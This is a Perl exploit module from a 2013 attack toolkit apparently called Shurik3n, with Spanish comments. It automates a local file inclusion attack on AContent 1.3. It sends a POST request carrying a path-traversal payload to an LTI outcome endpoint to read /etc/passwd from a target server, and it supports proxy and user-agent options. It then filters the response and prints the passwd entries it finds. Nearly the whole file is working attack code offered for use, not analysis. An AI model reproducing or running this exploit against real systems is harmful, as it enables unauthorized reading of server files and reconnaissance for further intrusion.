####
#  _________.__                 .__ __    ________         
# /   _____/|  |__  __ _________|__|  | __\_____  \  ____  
# \_____  \ |  |  \|  |  \_  __ \  |  |/ /  _(__  < /    \ 
# /        \|   Y  \  |  /|  | \/  |    <  /       \   |  \
#/_______  /|___|  /____/ |__|  |__|__|_ \/______  /___|  /
#        \/      \/                     \/       \/     \/ 
#
#                    Dshellnoi Unix  2013
#                      
#   CLASE      :        EXPLOITS::LFI::AContent_Version_one_three                                                             
#   CREADO POR   :      Dshellnoi Unix   
#   CORREO       :      templesec0day@gmail.com                    
#   FECHA:              01-4-2013                             
#   ACTUALIZACION:      
#   VERSION      :      0.1                            
#                                                                
#   LICENCIA:                                                 
#            SUJETO A LA LICENCIA SHURIK3N WEB TOOL           
####

package EXPLOITS::LFI::AContent_Version_one_three;
use strict;
use HTML::Strip;
use LWP::UserAgent;
use HTTP::Request ;
use LIBS::GNRL::Texto ;
use LIBS::GNRL::Colores ;

use vars qw($VERSION @ISA);
@ISA = qw(); 
$VERSION = '0.01';


sub new {

    my($class) = @_;
    
     my $self =  ( { Title        => "AContent 1.3 Local File Inclusion",
                    Author        => "DaOne aka Mocking Bird",
                    Date          => "21-03-2013",
                    Ranking       => "Good",
                    Platform      => "php",
                    Tested        => "Apache/2.2.8(Win32) PHP/5.2.6",
                    Type          => "LFI",
                    OSVDB         => "NULL",
                    CVE           => "NULL",
                    CWE           => "NULL", 
                    Webauthor     => "http://1337day.com/exploit/20561", 
                    Descrition    =>qq[AContent 1.3 Local File Inclusion],

                    ARG           => [
                                      ["TARGET","Set the target"       ,1],
                                      ["PT"    ,"Set the path"         ,1],
                                      ["UA"    ,"Set the User Agent"   ,0],
                                      ["PROXY" ,"Set the proxy"        ,0]

                                     ],
                  


                 });
     

    bless($self, $class);
    return $self;
}


sub run
{

my($self,@data) = @_;  

my $url =  "$data[0]";
my $path = "$data[1]" ;
my $user_agent ;


##
## COMPROVAMOS URI
##

my $cmp_uri = LIBS::GNRL::Texto->new();
   $cmp_uri->cmp_url($url); 


#
# PATH
#
my $cmp_path = LIBS::GNRL::Texto->new();
   $cmp_path->cmp_path($path); 


#
# CMP UA 
#

if($data[2] eq 0){

$user_agent = "$0/0.1" ;

}
else{

$user_agent = $data[2] ;

}




   my $ua = new LWP::UserAgent;
   $ua->timeout(60);
   $ua->agent("$user_agent");


#
# CMP PROXY
#


   if($data[3] ne 0){

my $cmp_proxy = LIBS::GNRL::Texto->new();
   $cmp_proxy->cmp_proxy($data[3]); 
   $ua->proxy([qw(http https)] => "$data[3]");

}


print "\n";

my $test =  LIBS::GNRL::Colores->new(); 
   $test->pinta("ROJO", "[+]Launching exploit\n\n") ;

sleep 1 ;


  my $req = HTTP::Request->new( POST => "$url$path"."/oauth/lti/common/tool_provider_outcome.php");
  $req->content_type('application/x-www-form-urlencoded');
  $req->content('grade=1&key=1&secret=secret&sourcedid=1&submit=Send%20Grade&url=../../../../../../../../../etc/passwd');

  my $res = $ua->request($req);

 if($res->code ne 200){

my $test =  LIBS::GNRL::Colores->new(); 
   $test->pinta("ROJO", "[-]Error launching exploit\n\n") ;
   printf("\033[31m[-]Status[%d]\033[00m", $res->code) ;  
   print "\n\n";
   goto SHELL ;
 }

  
  my $hs = HTML::Strip->new();
  my $clean_text = $hs->parse($res->as_string);
  $hs->eof;


  open(FILE, ">/tmp/salida.txt");
  print FILE "$clean_text";
  close(FILE);


open(PASSWD, "/tmp/salida.txt");
while (my $p = <PASSWD>) { 

     if($p =~ /^[a-zA-Z]+:x/) {
        print $p ;
    }
}
close(PASSWD);

unlink("/tmp/salida.txt");


  
}

1;